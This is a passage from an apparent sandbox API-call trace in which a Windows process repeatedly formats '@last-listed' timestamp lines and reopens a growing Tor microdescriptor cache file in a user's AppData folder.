_Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.475] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.475] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.475] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.475] gmtime (param_1=0x36f188) returned 0x841688 [0121.475] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.475] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.475] gmtime (param_1=0x36f188) returned 0x841688 [0121.475] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.475] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.475] gmtime (param_1=0x36f188) returned 0x841688 [0121.475] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.475] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.476] gmtime (param_1=0x36f188) returned 0x841688 [0121.476] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.476] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.476] gmtime (param_1=0x36f188) returned 0x841688 [0121.476] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.476] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.476] gmtime (param_1=0x36f188) returned 0x841688 [0121.476] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.476] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.476] gmtime (param_1=0x36f188) returned 0x841688 [0121.476] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.476] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.476] gmtime (param_1=0x36f188) returned 0x841688 [0121.476] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.476] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.476] gmtime (param_1=0x36f188) returned 0x841688 [0121.476] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.476] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.476] gmtime (param_1=0x36f188) returned 0x841688 [0121.476] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.476] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.476] gmtime (param_1=0x36f188) returned 0x841688 [0121.476] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.476] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.477] gmtime (param_1=0x36f188) returned 0x841688 [0121.477] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.477] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.477] gmtime (param_1=0x36f188) returned 0x841688 [0121.477] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.477] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.477] gmtime (param_1=0x36f188) returned 0x841688 [0121.477] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.477] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.477] gmtime (param_1=0x36f188) returned 0x841688 [0121.477] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.477] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.477] gmtime (param_1=0x36f188) returned 0x841688 [0121.477] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.477] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.477] gmtime (param_1=0x36f188) returned 0x841688 [0121.477] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.477] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.477] gmtime (param_1=0x36f188) returned 0x841688 [0121.477] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.477] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.477] gmtime (param_1=0x36f188) returned 0x841688 [0121.477] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.477] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.477] gmtime (param_1=0x36f188) returned 0x841688 [0121.477] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.477] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.478] gmtime (param_1=0x36f188) returned 0x841688 [0121.478] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.478] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.478] gmtime (param_1=0x36f188) returned 0x841688 [0121.478] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.478] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.478] gmtime (param_1=0x36f188) returned 0x841688 [0121.478] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.478] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.478] gmtime (param_1=0x36f188) returned 0x841688 [0121.478] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.478] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.478] gmtime (param_1=0x36f188) returned 0x841688 [0121.478] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.478] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.478] gmtime (param_1=0x36f188) returned 0x841688 [0121.478] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.478] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.478] gmtime (param_1=0x36f188) returned 0x841688 [0121.478] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.478] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.478] gmtime (param_1=0x36f188) returned 0x841688 [0121.478] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.478] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.478] gmtime (param_1=0x36f188) returned 0x841688 [0121.478] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.479] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.479] gmtime (param_1=0x36f188) returned 0x841688 [0121.479] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.479] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.479] gmtime (param_1=0x36f188) returned 0x841688 [0121.479] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.479] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.479] gmtime (param_1=0x36f188) returned 0x841688 [0121.479] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.479] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.479] gmtime (param_1=0x36f188) returned 0x841688 [0121.479] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.479] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.479] gmtime (param_1=0x36f188) returned 0x841688 [0121.479] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.479] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.479] gmtime (param_1=0x36f188) returned 0x841688 [0121.479] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.479] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.479] gmtime (param_1=0x36f188) returned 0x841688 [0121.479] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.479] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.479] gmtime (param_1=0x36f188) returned 0x841688 [0121.479] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.479] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.479] gmtime (param_1=0x36f188) returned 0x841688 [0121.479] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.480] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.480] gmtime (param_1=0x36f188) returned 0x841688 [0121.480] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.480] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.480] gmtime (param_1=0x36f188) returned 0x841688 [0121.480] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.480] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.480] gmtime (param_1=0x36f188) returned 0x841688 [0121.480] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.480] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.480] gmtime (param_1=0x36f188) returned 0x841688 [0121.480] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.480] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.480] gmtime (param_1=0x36f188) returned 0x841688 [0121.480] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.480] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.480] gmtime (param_1=0x36f188) returned 0x841688 [0121.480] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.480] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.480] gmtime (param_1=0x36f188) returned 0x841688 [0121.480] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.480] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.480] gmtime (param_1=0x36f188) returned 0x841688 [0121.480] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.480] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.480] gmtime (param_1=0x36f188) returned 0x841688 [0121.481] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.481] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.481] gmtime (param_1=0x36f188) returned 0x841688 [0121.481] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.481] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.481] gmtime (param_1=0x36f188) returned 0x841688 [0121.481] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.481] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.481] gmtime (param_1=0x36f188) returned 0x841688 [0121.481] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.481] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.481] gmtime (param_1=0x36f188) returned 0x841688 [0121.481] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.481] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.481] gmtime (param_1=0x36f188) returned 0x841688 [0121.481] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.481] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.481] gmtime (param_1=0x36f188) returned 0x841688 [0121.481] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.481] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.481] gmtime (param_1=0x36f188) returned 0x841688 [0121.481] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.481] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.481] gmtime (param_1=0x36f188) returned 0x841688 [0121.481] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.481] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.482] gmtime (param_1=0x36f188) returned 0x841688 [0121.482] gmtime (param_1=0x36f188) returned 0x841688 [0121.482] gmtime (param_1=0x36f188) returned 0x841688 [0121.559] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0121.559] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 249944 [0121.611] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0121.612] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 499366 [0121.658] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0121.658] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 758376 [0121.693] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0121.693] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 1007512 [0121.793] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0121.793] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 1261643 [0121.879] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0121.879] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 1515632 [0121.963] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0121.963] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 1768493 [0122.046] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0122.046] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 2019351 [0122.130] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0122.130] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 2266494 [0122.169] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0122.169] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 2514866 [0122.800] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0122.800] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 2520320 [0122.944] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0122.944] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 2773306 [0122.966] _open (_FileName="C:\\Users\\aDU0VK 